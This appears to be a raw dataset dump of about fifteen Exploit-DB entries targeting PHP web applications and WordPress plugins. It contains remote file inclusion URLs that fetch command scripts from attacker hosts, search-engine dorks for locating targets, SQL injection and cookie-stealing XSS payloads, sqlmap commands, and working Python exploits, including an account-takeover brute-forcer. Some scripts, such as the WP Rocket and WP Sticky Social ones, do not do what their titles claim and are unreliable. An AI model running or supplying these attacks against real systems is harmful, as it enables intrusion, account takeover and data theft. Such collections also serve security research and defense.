deardaniel/secdata-raw huggingface dataset:
Exploit-DB #6992
Description: wotw 5.0 - Local/Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-11-04
Author: dun

Exploit:
  :::::::-.   ...    ::::::.    :::.
   ;;,   `';, ;;     ;;;`;;;;,  `;;;
   `[[     [[[['     [[[  [[[[[. '[[
    $$,    $$$$      $$$  $$$ "Y$c$$
    888_,o8P'88    .d888  888    Y88
    MMMMP"`   "YmmMMMM""  MMM     YM

   [ Discovered by dun \ dun[at]strcpy.pl ]

 ##################################################################
 #  [ wotw <= 5.0 ]   Local/Remote File Inclusion Vulnerability   #
 ##################################################################
 # 
 # Script: "Way Of The Warrior is a web boardgame of fantasy battle..."
 #
 # Script site: http://wotw.altervista.org/
 # Download: http://sourceforge.net/project/platformdownload.php?group_id=178414
 #
 # [LFI] Vuln: http://site.com/wotw_5.0_en/visualizza.php?plancia=../../../../../../etc/passwd%00
 #      
 # Bug: ./wotw_5.0_en/visualizza.php (line: 17)
 #
 # ...
 # 	require_once("plance/".$_GET['plancia'].".php"); 	// LFI
 # ... 	 
 #
 #
 # [RFI] Vuln: http://site.com/wotw_5.0_en/crea.php?plancia=[spread?]
 #      
 # Bug: ./wotw_5.0_en/visualizza.php (lines: 12-19)
 #
 # ...
 # 	if(isset($_GET['plancia']))
 #   	{
 #    	require_once("configurazione/tipi.php");
 #    	require_once("unita/unita.php");
 #    	require_once("plance/plance.php");
 #    	require_once("giocatori/giocatori.php");
 #    	require_once("terreni/terreni.php");
 #    	require_once("".$_GET['plancia']); 			// RFI
 # ... 	 
 #
 #
 ###############################################
 # Greetz: D3m0n_DE * str0ke * and otherz..
 ###############################################

 [ dun / 2008 ] 

*******************************************************************************************

# milw0rm.com [2008-11-04]
Exploit-DB #28317
Description: WoW Roster 1.5 - 'hsList.php?subdir' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-01
Author: skulmatic

Exploit:
source: https://www.securityfocus.com/bid/19269/info

WoW Roster is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input.

A successful exploit may allow unauthorized users to execute remote PHP scripts; other attacks are also possible.

http://www.example.com/[wow_roster_path]/hsList.php?subdir=http://www.example.com/cmd.txt?&cmd=ls
Exploit-DB #2099
Description: WoW Roster 1.5.1 - 'subdir' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-01
Author: skulmatic

Exploit:
--------------------------------------------------------------------------------
Title : WoW Roster <= 1.5.1 Remote File Include Vulnerabilities
###############################################################################
Discovered By Skulmatic
-----------------------------------------------------------------------------
Affected software description :
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Application :  World of Warcraft (WoW) Roster
URL :  http://www.wowroster.net/
-----------------------------------------------------------------------------

dork        : "wow roster version 1.5.*"
Exploit     : 
http://[target]/[wow_roster_path]/conf.php?subdir=http://[attacker]/cmd.txt?&cmd=ls           
              
------------------------------------------------------------------------------

greatz:
~~~~
# special to song hye kyo (for inspiration)
# To all members of #papmahackerlink and #hackid, OLiBekaS, cgibin, weleh, skulmatic, sikunYuk, brokencode, ulga, SaMuR4i_X, bigmaster.
-------------------------------------------------------------------------------

Contact:
~~~~~~
Nick: skulmatic
E-mail: skulmatic[at]gmail[dot]Com

--------------------------------- [ eof ] ---------------------------------------

# milw0rm.com [2006-08-01]
Exploit-DB #2109
Description: WoW Roster 1.70 - '/lib/phpBB.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-02
Author: |peti

Exploit:
--------------------------------------------------------------------------------

Title : WoW Roster (/lib/phpbb.php) Remote File Include Vulnerability

--------------------------------------------------------------------------------

Affected software description :

Application :  World of Warcraft (WoW) Roster
URL :  http://www.wowroster.net/

--------------------------------------------------------------------------------

dork        : "wow roster version 1.*"
Exploit     :

--------------------------------------------------------------------------------

Usage:

http://[target]/[roster_path]/lib/phpbb.php?subdir=http://[evilhost]/cmd.txt?&cmd=ls

--------------------------------------------------------------------------------

greets:

XLR, rdy, wiggle, phreek, menx [...]

special greet: my old gf ;)

--------------------------------------------------------------------------------

Contact:

Nick: |peti on irc.quakenet.org/irc.efnet.net

--------------------------------- [ eof ] --------------------------------------

# milw0rm.com [2006-08-02]
Exploit-DB #25641
Description: WowBB 1.6 - 'View_User.php' SQL Injection
Type: webapps
Platform: php
Date: 2005-05-10
Author: Megasky

Exploit:
source: https://www.securityfocus.com/bid/13569/info

WowBB is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input prior to using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/wowbb/view_user.php?list=1&letter=&sort_by='[SQL Injection]
Exploit-DB #34432
Description: Wowd - 'index.html' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2009-10-29
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/42327/info

Wowd search client is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Wowd version 1.3.0 is vulnerable; other versions may also be affected. 

The following proof of concept is available:

http://www.example.com:8101/wowd/index.html?search&query=a&
sortby=rank&tags=english|S0B0707656E676C6973680D02

http://www.example.com:8101/wowd/index.html?search&query=a
&sortby=rank&tags=english|S0B0707656E676C6973680D02,
%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E|S0B0707656E676C6973680D02

http://www.example.com:8101/wowd/index.html?search&page=2&q=
&sortby=rank&tags=news|S0807046E6577730D02&ctx=[PII_REDACTED]81%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E
Exploit-DB #49657
Description: WoWonder Social Network Platform 3.1 - 'event_id' SQL Injection
Type: webapps
Platform: php
Date: 2021-03-17
Author: securityforeveryone.com

Exploit:
# Exploit Title: WoWonder Social Network Platform 3.1 - 'event_id' SQL Injection
# Date: 16.03.2021
# Exploit Author: securityforeveryone.com
# Author Mail: hello[AT]securityforeveryone.com
# Vendor Homepage: https://www.wowonder.com/
# Software Link: https://codecanyon.net/item/wowonder-the-ultimate-php-social-network-platform/13785302
# Version: < 3.1
# Tested on: Linux/Windows

DESCRIPTION

In WoWonder < 3.1, remote attackers can gain access to the database by exploiting a SQL Injection vulnerability via the event_id parameter.

The vulnerability is found in the "event_id" parameter in GET request sent to page requests.php.
Example:
/requests.php?hash=xxxxxxxxxxx&f=search-my-followers&filter=s4e&event_id=EVENT_ID 

if an attacker exploits this vulnerability, attacker may access private data in the database system.

EXPLOITATION

# GET /requests.php?hash=xxxxxxxxxxx&f=search-my-followers&filter=s4e&event_id=EVENT_ID HTTP/1.1
# Host: Target

Sqlmap command: sqlmap -r request.txt --risk 3 --level 5 --random-agent -p event_id --dbs

Payload: f=search-my-followers&s=normal&filter=s4e&event_id=1') AND 5376=5376-- QYxF
Exploit-DB #49989
Description: WoWonder Social Network Platform 3.1 - Authentication Bypass
Type: webapps
Platform: php
Date: 2021-06-11
Author: securityforeveryone.com

Exploit:
# Exploit Title: WoWonder Social Network Platform 3.1 - Authentication Bypass
# Date: 11.06.2021
# Exploit Author: securityforeveryone.com
# Researchers : Security For Everyone Team - https://securityforeveryone.com
# Vendor Homepage: https://www.wowonder.com/
# Software Link: https://codecanyon.net/item/wowonder-the-ultimate-php-social-network-platform/13785302
# Version: < 3.1
# Tested on: Linux/Windows

'''
DESCRIPTION

In WoWonder < 3.1, remote attackers can take over any account due to the weak cryptographic algorithm in recover.php. The code parameter is easily predicted from the time of day.
The vulnerability is found the "code" parameter in password reset link. The password reset code can be estimated by combining the password reset link time and the random value generated between 111 and 999.
if an attacker exploits this vulnerability, attacker may access all accounts in WoWonder application.

ABOUT SECURITY FOR EVERYONE TEAM

We are a team that has been working on cyber security in the industry for a long time.
In 2020, we created securityforeveyone.com where everyone can test their website security and get help to fix their vulnerabilities.
We have many free tools that you can use here: https://securityforeveryone.com/tools/free-security-tools
'''

import requests
import email.utils as eut
import calendar, time;
import hashlib, re;

url = "http://wowonderlab:80/wowonder/" #change this with your target
myheaders = {"X-Requested-With": "XMLHttpRequest", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "Connection": "close"}
recoverdata = {"recoveremail": "wowondertest@securityforeveryone.com"}  #change this email with your registered wowonder email address
req = requests.post(url+"requests.php?f=recover", headers=myheaders, data=recoverdata)
b = eut.parsedate(req.headers["Date"])
respepoch = calendar.timegm(time.strptime("{0}-{1}-{2} {3}:{4}:{5}".format(b[0],b[1],b[2],b[3],b[4],b[5]), '%Y-%m-%d %H:%M:%S'))

for token in range(111,1000):
    str2hash = "{0}{1}".format(token,respepoch)
    email_code = hashlib.md5(str2hash.encode()).hexdigest()

    req_reset = requests.get(url+"index.php?link1=reset-password&code=1_{0}".format(email_code))
    if len(re.findall("New password",req_reset.text)) == 1:
        print(email_code)
        resetdata = {"password": "10711071", "id": "1_"+email_code}
        reqtoken = requests.post(url+"requests.php?f=reset_password", headers=myheaders, data=resetdata)
        print(reqtoken.headers['Set-Cookie'])
        break
Exploit-DB #51560
Description: WP AutoComplete 1.0.4 - Unauthenticated SQLi
Type: webapps
Platform: php
Date: 2023-07-03
Author: matitanium

Exploit:
# Exploit Title: WP AutoComplete 1.0.4 - Unauthenticated SQLi
# Date: 30/06/2023
# Exploit Author: Matin nouriyan (matitanium)
# Version: <= 1.0.4
# CVE: CVE-2022-4297
Vendor Homepage: https://wordpress.org/support/plugin/wp-autosearch/
# Tested on: Kali linux

---------------------------------------


The WP AutoComplete Search WordPress plugin through 1.0.4 does not sanitise 
and escape a parameter before using it in a SQL statement via an AJAX available to unauthenticated users,
leading to an unauthenticated SQL injection

--------------------------------------

How to Reproduce this Vulnerability:

1. Install WP AutoComplete <= 1.0.4 
2. WP AutoComplete <= 1.0.4 using q parameter for ajax requests
3. Find requests belong to WP AutoComplete like step 5
4. Start sqlmap and exploit 
5. python3 sqlmap.py -u "https://example.com/wp-admin/admin-ajax.php?q=[YourSearch]&Limit=1000&timestamp=[PII_REDACTED]&action=wi_get_search_results&security=[xxxx]" --random-agent --level=5 --risk=2 -p q
Exploit-DB #51835
Description: WP Fastest Cache 1.2.2 - Unauthenticated SQL Injection
Type: webapps
Platform: php
Date: 2024-02-28
Author: Meryem Taşkın

Exploit:
# Exploit Title: Unauthenticated SQL Injection in WP Fastest Cache 1.2.2
# Date: 14.11.2023
# Exploit Author: Meryem Taşkın
# Vendor Homepage: https://www.wpfastestcache.com/
# Software Link: https://wordpress.org/plugins/wp-fastest-cache/
# Version: WP Fastest Cache 1.2.2
# Tested on: WP Fastest Cache 1.2.2
# CVE: CVE-2023-6063
 
## Description
An SQL injection vulnerability exists in version 1.2.2 of the WP Fastest Cache plugin, allowing an attacker to trigger SQL queries on the system without authentication.
 
## Vuln Code
 
public function is_user_admin(){
            global $wpdb;
            foreach ((array)$_COOKIE as $cookie_key => $cookie_value){
                if(preg_match("/wordpress_logged_in/i", $cookie_key)){ 
                    $username = preg_replace("/^([^\|]+)\|.+/", "$1", $cookie_value); 
                    break;
                }
            }
            if(isset($username) && $username){            
                $res = $wpdb->get_var("SELECT `$wpdb->users`.`ID`, `$wpdb->users`.`user_login`, `$wpdb->usermeta`.`meta_key`, `$wpdb->usermeta`.`meta_value`
                                       FROM `$wpdb->users`
                                       INNER JOIN `$wpdb->usermeta`
                                       ON `$wpdb->users`.`user_login` = \"$username\" AND  # $username varible is not escaped vulnerable to SQL injection
                                       .....
 
## Exploit
GET / HTTP/1.1
Cookie: wordpress_logged_in_1=%22%20AND%20%28SELECT%201%20FROM%20%28SELECT%28SLEEP%285%29%29A%29%20AND%20%221%22%3D%221
Host: meryem.local
 
## Parameter: Cookie #1* ((custom) HEADER)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: wordpress_logged_in_dsadasdasd=" AND (SELECT 3809 FROM (SELECT(SLEEP(5)))RDVP) AND "HQDg"="HQDg
---
 
## References
- [WPScan Blog Post](https://wpscan.com/blog/unauthenticated-sql-injection-vulnerability-addressed-in-wp-fastest-cache-1-2-2/)
- [WPScan Vulnerability](https://wpscan.com/vulnerability/30a74105-8ade-4198-abe2-1c6f2967443e/)
- [CVE-2023-6063](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-6063)
 
## Credits
- Original Researcher: Alex Sanford
- PoC: Meryem Taşkın
Exploit-DB #51830
Description: WP Rocket < 2.10.3 - Local File Inclusion (LFI)
Type: webapps
Platform: php
Date: 2024-02-28
Author: E1 Coders

Exploit:
Paulos Yibelo discovered and reported this Local File Inclusion vulnerability in WordPress WP Rocket Plugin. This could allow a malicious actor to include local files of the target website and show its output onto the screen. Files which store credentials, such as database credentials, could potentially allow complete database takeover depending on the configuration. This vulnerability has been fixed in version 2.10.4.


https://patchstack.com/database/vulnerability/wp-rocket/wordpress-wp-rocket-plugin-2-10-3-local-file-inclusion-lfi-vulnerability


https://vulners.com/wpvulndb/WPVDB-ID:5484D821-7017-47A8-90D8-7D87CB5E0E50






Exploit :

#Code By E1.Coders

#Dork : "Powered by WP Rocket" filetype:php intitle:"WP Rocket Configuration" -"in" -"dirlist"

Dork : http://example.com/wp-content/plugins/wp-rocket/inc/functions/min/v2.10.3/min/min.php


 

import requests
import time

def check_wp_rocket_version(url):
    version_url = url + "/wp-rocket/css/rocket.css"
    try:
        response = requests.get(version_url)
        version = response.headers["X-Powered-By"]
        if "WP Rocket/" in version:
            version = version.split("/")[1]
            return version
    except Exception as e:
        print(f"Error occurred while fetching WP Rocket version: {e}")
    return None

def test_wp_rocket_lfi_bug(url):
    lfi_url = url + "/wp-rocket/inc/vendor/composer/installed.json"
    try:
        response = requests.get(lfi_url)
        if response.status_code == 200:
            return True
    except Exception as e:
        print(f"Error occurred while testing LFI: {e}")
    return False

def main():
    url = "http://arvatools.com"
    wp_rocket_version = check_wp_rocket_version(url)
    if wp_rocket_version:
        print(f"WP Rocket Version: {wp_rocket_version}")
        if wp_rocket_version in ["2.10.0", "2.10.1", "2.10.2", "2.10.3"]:
            result = test_wp_rocket_lfi_bug(url)
            if result:
                print("LFI vulnerability found in WP Rocket")
            else:
                print("LFI vulnerability not found in WP Rocket")
        else:
            print("WP Rocket version is not affected by the LFI bug")
    else:
        print("Unable to fetch WP Rocket version")

if __name__ == "__main__":
    main()
Exploit-DB #47419
Description: WP Server Log Viewer 1.0 - 'logfile' Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2019-09-25
Author: strider

Exploit:
# Exploit Title: WP Server Log Viewer 1.0 - 'logfile' Persistent Cross-Site Scripting
# Date: 2019-09-10
# Exploit Author: strider
# Software Link: https://github.com/anttiviljami/wp-server-log-viewer
# Version: 1.0
# Tested on: Debian 10 Buster x64 / Kali Linux
# CVE : None

====================================[Description]====================================
This plugin allows you to add logfiles via wp-admin. The problem here is that the file paths are stored unfiltered/unescaped. This gives the possibility of a persistent XSS attack.


====================================[Codepart]====================================

if( isset( $_GET['action'] ) && 'new' === $_GET['action'] && isset( $_GET['logpath'] ) ) {
      // new log was added
      $logs = get_option( 'server_logs' );
      if( is_null( $logs ) ) {
        $logs = [];
      }

      $log = trim( $_GET['logpath'] ); //only trimmed string no escaping
      $logs[] = $log; //here the log will be added without security checks
      $logs = array_values( $logs );

      $index = array_search( $log, $logs );

      update_option( 'server_logs', $logs );

      wp_safe_redirect( admin_url('tools.php?page=wp-server-log-viewer&log=' . $index) );
    }



====================================[Proof of Concept]====================================
Add new log file to the plugin.
paste this exploit into the form and submit it.

<img src=# onerror=alert(document.cookie);>log.txt

It tries to render an image and triggers the onerror event and prints the cookie. in the tab you see the log.txt
Exploit-DB #51711
Description: WP Statistics Plugin 13.1.5 current_page_id - Time based SQL injection (Unauthenticated)
Type: webapps
Platform: php
Date: 2023-09-04
Author: psychoSherlock

Exploit:
# Exploit Title: WP Statistics Plugin <= 13.1.5 current_page_id - Time based SQL injection (Unauthenticated)
# Date: 13/02/2022
# Exploit Author: psychoSherlock
# Vendor Homepage: https://wp-statistics.com/
# Software Link: https://downloads.wordpress.org/plugin/wp-statistics.13.1.5.zip
# Version: 13.1.5 and prior
# Tested on: wp-statistics 13.1.5
# CVE : CVE-2022-25148
# Vendor URL: https://wordpress.org/plugins/wp-statistics/
# CVSS Score: 8.4 (High)

import argparse
import requests
import re
import urllib.parse


def main():
    parser = argparse.ArgumentParser(description="CVE-2022-25148")
    parser.add_argument('-u', '--url', required=True,
                        help='Wordpress base URL')

    args = parser.parse_args()

    baseUrl = args.url
    payload = "IF(1=1, sleep(5), 1)"

    wp_session = requests.session()

    resp = wp_session.get(baseUrl)
    nonce = re.search(r'_wpnonce=(.*?)&wp_statistics_hit', resp.text).group(1)
    print(f"Gathered Nonce: {nonce}")

    headers = {
        "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 12_2_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.2 Safari/605.1.15"}

    payload = urllib.parse.quote_plus(payload)
    exploit = f'/wp-json/wp-statistics/v2/hit?_=11&_wpnonce={nonce}&wp_statistics_hit_rest=&browser=&platform=&version=&referred=&ip=11.11.11.11&exclusion_match=no&exclusion_reason&ua=Something&track_all=1&timestamp=11&current_page_type=home&current_page_id={payload}&search_query&page_uri=/&user_id=0'
    exploit_url = baseUrl + exploit

    print(f'\nSending: {exploit_url}')

    resp = wp_session.get(exploit_url, headers=headers)

    if float(resp.elapsed.total_seconds()) >= 5.0:
        print("\n!!! Target is vulnerable !!!")
        print(f'\nTime taken: {resp.elapsed.total_seconds()}')
    else:
        print('Target is not vulnerable')


if __name__ == "__main__":
    main()
Exploit-DB #51533
Description: WP Sticky Social 1.0.1 - Cross-Site Request Forgery to Stored Cross-Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2023-06-20
Author: Amirhossein Bahramizadeh

Exploit:
# Exploit Title: WP Sticky Social 1.0.1 - Cross-Site Request Forgery to Stored Cross-Site Scripting (XSS)
#  Dork: inurl:~/admin/views/admin.php
# Date: 2023-06-20
# Exploit Author: Amirhossein Bahramizadeh
# Category : Webapps
# Vendor Homepage: https://wordpress.org/plugins/wp-sticky-social
# Version: 1.0.1 (REQUIRED)
# Tested on: Windows/Linux
# CVE : CVE-2023-3320

import requests
import hashlib
import time

# Set the target URL
url = "http://example.com/wp-admin/admin.php?page=wpss_settings"

# Set the user agent string
user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3"

# Generate the nonce value
nonce = hashlib.sha256(str(time.time()).encode('utf-8')).hexdigest()

# Set the data payload
payload = {
    "wpss_nonce": nonce,
    "wpss_setting_1": "value_1",
    "wpss_setting_2": "value_2",
    # Add additional settings as needed
}

# Set the request headers
headers = {
    "User-Agent": user_agent,
    "Referer": url,
    "Cookie": "wordpress_logged_in=1; wp-settings-1=editor%3Dtinymce%26libraryContent%3Dbrowse%26uploader%3Dwp-plupload%26urlbutton%3Dfile; wp-settings-time-1=[PII_REDACTED]",
    # Add additional headers as needed
}

# Send the POST request
response = requests.post(url, data=payload, headers=headers)

# Check the response status code
if response.status_code == 200:
    print("Request successful")
else:
    print("Request failed")